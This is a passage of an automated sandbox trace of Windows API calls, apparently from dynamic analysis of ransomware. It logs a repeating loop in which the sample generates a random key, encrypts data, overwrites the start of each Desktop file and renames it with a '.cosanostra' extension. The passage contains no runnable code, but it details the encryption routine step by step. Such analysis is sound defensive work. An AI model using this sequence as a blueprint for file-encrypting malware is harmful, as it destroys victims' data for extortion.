lpBuffer=0x251f36c*, lpNumberOfBytesWritten=0x251f32c*=0x4, lpOverlapped=0x0) returned 1 [0098.075] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f32c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f32c*=0x30, lpOverlapped=0x0) returned 1 [0098.075] CloseHandle (hObject=0x15c) returned 1 [0098.075] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YJ22D9mKdUuvVWgYC.flv.cosanostra") returned 74 [0098.075] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YJ22D9mKdUuvVWgYC.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yj22d9mkduuvvwgyc.flv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YJ22D9mKdUuvVWgYC.flv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yj22d9mkduuvvwgyc.flv.cosanostra")) returned 1 [0098.076] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f368 | out: pbBuffer=0x251f368) returned 1 [0098.076] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f360*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f360*=0x30) returned 1 [0098.076] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y-wXckblUtRnnRpqHZ7.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y-wxckblutrnnrpqhz7.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.077] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y-wXckblUtRnnRpqHZ7.jpg") returned 65 [0098.077] StrStrW (lpFirst="y-wXckblUtRnnRpqHZ7.jpg", lpSrch=".txt") returned 0x0 [0098.078] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.078] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f324, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f324*=0x2800, lpOverlapped=0x0) returned 1 [0098.078] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.078] WriteFile (in: hFile=0x15c, lpBuffer=0x251f364*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f324, lpOverlapped=0x0 | out: lpBuffer=0x251f364*, lpNumberOfBytesWritten=0x251f324*=0x4, lpOverlapped=0x0) returned 1 [0098.078] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f324, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f324*=0x30, lpOverlapped=0x0) returned 1 [0098.078] CloseHandle (hObject=0x15c) returned 1 [0098.078] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y-wXckblUtRnnRpqHZ7.jpg.cosanostra") returned 76 [0098.078] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y-wXckblUtRnnRpqHZ7.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y-wxckblutrnnrpqhz7.jpg"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y-wXckblUtRnnRpqHZ7.jpg.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y-wxckblutrnnrpqhz7.jpg.cosanostra")) returned 1 [0098.083] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f360 | out: pbBuffer=0x251f360) returned 1 [0098.083] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f358*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f358*=0x30) returned 1 [0098.083] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\Uqt1JrDt_kgek0D9vpy.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wqyjtlgr4hc8bdkpggvv\\uqt1jrdt_kgek0d9vpy.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.084] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\Uqt1JrDt_kgek0D9vpy.mp3") returned 86 [0098.084] StrStrW (lpFirst="Uqt1JrDt_kgek0D9vpy.mp3", lpSrch=".txt") returned 0x0 [0098.085] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.085] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f31c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f31c*=0x2800, lpOverlapped=0x0) returned 1 [0098.085] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.085] WriteFile (in: hFile=0x15c, lpBuffer=0x251f35c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f31c, lpOverlapped=0x0 | out: lpBuffer=0x251f35c*, lpNumberOfBytesWritten=0x251f31c*=0x4, lpOverlapped=0x0) returned 1 [0098.086] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f31c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f31c*=0x30, lpOverlapped=0x0) returned 1 [0098.086] CloseHandle (hObject=0x15c) returned 1 [0098.086] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\Uqt1JrDt_kgek0D9vpy.mp3.cosanostra") returned 97 [0098.086] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\Uqt1JrDt_kgek0D9vpy.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wqyjtlgr4hc8bdkpggvv\\uqt1jrdt_kgek0d9vpy.mp3"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\Uqt1JrDt_kgek0D9vpy.mp3.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wqyjtlgr4hc8bdkpggvv\\uqt1jrdt_kgek0d9vpy.mp3.cosanostra")) returned 1 [0098.087] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f360 | out: pbBuffer=0x251f360) returned 1 [0098.087] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f358*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f358*=0x30) returned 1 [0098.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\QurDpU09BYa.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wqyjtlgr4hc8bdkpggvv\\qurdpu09bya.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.087] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\QurDpU09BYa.swf") returned 78 [0098.088] StrStrW (lpFirst="QurDpU09BYa.swf", lpSrch=".txt") returned 0x0 [0098.088] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.088] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f31c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f31c*=0x2800, lpOverlapped=0x0) returned 1 [0098.089] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.089] WriteFile (in: hFile=0x15c, lpBuffer=0x251f35c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f31c, lpOverlapped=0x0 | out: lpBuffer=0x251f35c*, lpNumberOfBytesWritten=0x251f31c*=0x4, lpOverlapped=0x0) returned 1 [0098.089] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f31c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f31c*=0x30, lpOverlapped=0x0) returned 1 [0098.089] CloseHandle (hObject=0x15c) returned 1 [0098.089] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\QurDpU09BYa.swf.cosanostra") returned 89 [0098.089] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\QurDpU09BYa.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wqyjtlgr4hc8bdkpggvv\\qurdpu09bya.swf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\QurDpU09BYa.swf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wqyjtlgr4hc8bdkpggvv\\qurdpu09bya.swf.cosanostra")) returned 1 [0098.090] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f358 | out: pbBuffer=0x251f358) returned 1 [0098.090] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f350*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f350*=0x30) returned 1 [0098.090] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\awWP.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wqyjtlgr4hc8bdkpggvv\\awwp.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.091] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\awWP.docx") returned 72 [0098.091] StrStrW (lpFirst="awWP.docx", lpSrch=".txt") returned 0x0 [0098.114] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.114] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f314, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f314*=0x2800, lpOverlapped=0x0) returned 1 [0098.114] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.114] WriteFile (in: hFile=0x15c, lpBuffer=0x251f354*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f314, lpOverlapped=0x0 | out: lpBuffer=0x251f354*, lpNumberOfBytesWritten=0x251f314*=0x4, lpOverlapped=0x0) returned 1 [0098.114] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f314, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f314*=0x30, lpOverlapped=0x0) returned 1 [0098.114] CloseHandle (hObject=0x15c) returned 1 [0098.115] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\awWP.docx.cosanostra") returned 83 [0098.115] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\awWP.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wqyjtlgr4hc8bdkpggvv\\awwp.docx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WqYjTLgr4hc8BdkPGGvV\\awWP.docx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wqyjtlgr4hc8bdkpggvv\\awwp.docx.cosanostra")) returned 1 [0098.123] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f358 | out: pbBuffer=0x251f358) returned 1 [0098.123] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f350*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f350*=0x30) returned 1 [0098.123] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\N814XZCac7b-ppZkX.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufhi n3lcwkfmvbkir\\n814xzcac7b-ppzkx.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.124] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\N814XZCac7b-ppZkX.gif") returned 82 [0098.124] StrStrW (lpFirst="N814XZCac7b-ppZkX.gif", lpSrch=".txt") returned 0x0 [0098.125] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffe2c7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.125] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x1d39, lpNumberOfBytesWritten=0x251f314, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f314*=0x1d39, lpOverlapped=0x0) returned 1 [0098.125] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.125] WriteFile (in: hFile=0x15c, lpBuffer=0x251f354*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f314, lpOverlapped=0x0 | out: lpBuffer=0x251f354*, lpNumberOfBytesWritten=0x251f314*=0x4, lpOverlapped=0x0) returned 1 [0098.125] WriteFile (in: hFile=0x15c, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f314, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f314*=0x30, lpOverlapped=0x0) returned 1 [0098.125] CloseHandle (hObject=0x15c) returned 1 [0098.159] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\N814XZCac7b-ppZkX.gif.cosanostra") returned 93 [0098.159] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\N814XZCac7b-ppZkX.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufhi n3lcwkfmvbkir\\n814xzcac7b-ppzkx.gif"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\N814XZCac7b-ppZkX.gif.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufhi n3lcwkfmvbkir\\n814xzcac7b-ppzkx.gif.cosanostra")) returned 1 [0098.164] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f350 | out: pbBuffer=0x251f350) returned 1 [0098.164] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f348*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f348*=0x30) returned 1 [0098.164] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\k XG9uH_V.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufhi n3lcwkfmvbkir\\k xg9uh_v.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.165] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\k XG9uH_V.bmp") returned 74 [0098.165] StrStrW (lpFirst="k XG9uH_V.bmp", lpSrch=".txt") returned 0x0 [0098.165] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.165] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f30c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f30c*=0x2800, lpOverlapped=0x0) returned 1 [0098.165] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.165] WriteFile (in: hFile=0x138, lpBuffer=0x251f34c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f30c, lpOverlapped=0x0 | out: lpBuffer=0x251f34c*, lpNumberOfBytesWritten=0x251f30c*=0x4, lpOverlapped=0x0) returned 1 [0098.166] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f30c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f30c*=0x30, lpOverlapped=0x0) returned 1 [0098.166] CloseHandle (hObject=0x138) returned 1 [0098.166] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\k XG9uH_V.bmp.cosanostra") returned 85 [0098.166] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\k XG9uH_V.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufhi n3lcwkfmvbkir\\k xg9uh_v.bmp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ufhI N3lCWkFMVBkiR\\k XG9uH_V.bmp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ufhi n3lcwkfmvbkir\\k xg9uh_v.bmp.cosanostra")) returned 1 [0098.166] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f350 | out: pbBuffer=0x251f350) returned 1 [0098.166] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f348*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f348*=0x30) returned 1 [0098.166] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TCL9DMm8ZQ.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tcl9dmm8zq.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.167] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TCL9DMm8ZQ.ots") returned 56 [0098.167] StrStrW (lpFirst="TCL9DMm8ZQ.ots", lpSrch=".txt") returned 0x0 [0098.168] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.168] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f30c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f30c*=0x2800, lpOverlapped=0x0) returned 1 [0098.168] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.168] WriteFile (in: hFile=0x138, lpBuffer=0x251f34c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f30c, lpOverlapped=0x0 | out: lpBuffer=0x251f34c*, lpNumberOfBytesWritten=0x251f30c*=0x4, lpOverlapped=0x0) returned 1 [0098.168] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f30c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f30c*=0x30, lpOverlapped=0x0) returned 1 [0098.168] CloseHandle (hObject=0x138) returned 1 [0098.168] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TCL9DMm8ZQ.ots.cosanostra") returned 67 [0098.168] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TCL9DMm8ZQ.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tcl9dmm8zq.ots"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\TCL9DMm8ZQ.ots.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tcl9dmm8zq.ots.cosanostra")) returned 1 [0098.171] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f348 | out: pbBuffer=0x251f348) returned 1 [0098.171] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f340*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f340*=0x30) returned 1 [0098.171] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t6Sc.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t6sc.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.171] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t6Sc.csv") returned 50 [0098.171] StrStrW (lpFirst="t6Sc.csv", lpSrch=".txt") returned 0x0 [0098.172] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.172] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f304, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x251f304*=0x2800, lpOverlapped=0x0) returned 1 [0098.172] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.172] WriteFile (in: hFile=0x138, lpBuffer=0x251f344*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f304, lpOverlapped=0x0 | out: lpBuffer=0x251f344*, lpNumberOfBytesWritten=0x251f304*=0x4, lpOverlapped=0x0) returned 1 [0098.172] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f304, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f304*=0x30, lpOverlapped=0x0) returned 1 [0098.172] CloseHandle (hObject=0x138) returned 1 [0098.172] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t6Sc.csv.cosanostra") returned 61 [0098.172] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t6Sc.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t6sc.csv"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t6Sc.csv.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t6sc.csv.cosanostra")) returned 1 [0098.173] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f348 | out: pbBuffer=0x251f348) returned 1 [0098.173] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f340*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f340*=0x30) returned 1 [0098.173] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t4ryXtdLMg9iT2Hh3OvX.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t4ryxtdlmg9it2hh3ovx.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0098.173] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\t4ryXtdLMg9iT2Hh3OvX.jpg") returned 66 [0098.173] StrStrW (lpFirst="t4ryXtdLMg9iT2Hh3OvX.jpg", lpSrch=".txt") returned 0x0 [0098.174] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.174] WriteFile (in: hFile=0x138, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251f304, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, 